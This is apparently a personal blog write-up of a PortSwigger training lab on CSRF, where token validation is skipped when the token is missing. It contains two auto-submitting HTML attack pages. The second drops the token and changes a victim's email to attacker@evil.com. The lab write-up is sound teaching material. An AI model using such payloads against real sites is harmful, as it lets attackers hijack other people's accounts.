siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

CSRF where token validation depends on token being present | Dec 15, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: CSRF where token validation depends on token being present! Without further ado, let’s dive in.

Background

This lab’s email change functionality is vulnerable to CSRF.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Home page:

Login as user wiener:

In the previous labs, we found that the email change functionality is vulnerable to CSRF.

Let’s inspect the form!

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="">
    <input required type="hidden" name="csrf" value="NyEhcWXR4C1lk7nt89xf9bXUnIqycDQL">
    <button class='button' type='submit'> Update email </button>
</form>

As you can see, there is a CSRF token!

Now, we can try to exploit CSRF via the exploit server:

To do so, I’ll try to craft a CSRF form including an invalid CSRF token that performs CSRF attack:

<html>
	<head>
		<title>CSRF-3</title>
	</head>
	<body>
		<form action="https://0a7b000103e23b4fc097dbfe00370008.web-security-academy.net/my-account/change-email" method="POST">
		    <input type="hidden" name="email" value="attacker@evil.com">
		    <input type="hidden" name="csrf" value="LQDcyqInUXb9fx98tn7kl1C4RXWchEyN">
		</form>

		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

We can test it locally via the View exploit button:

As expected, it outputs Invalid CSRF token.

To bypass the CSRF token, we try to not include the CSRF token:

<html>
	<head>
		<title>CSRF-3</title>
	</head>
	<body>
		<form action="https://0a7b000103e23b4fc097dbfe00370008.web-security-academy.net/my-account/change-email" method="POST">
		    <input type="hidden" name="email" value="attacker@evil.com">
		</form>

		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

Then test it locally:

It works!!

Now, let’s change other users’ email!

We did it!

What we’ve learned:

  1. CSRF where token validation depends on token being present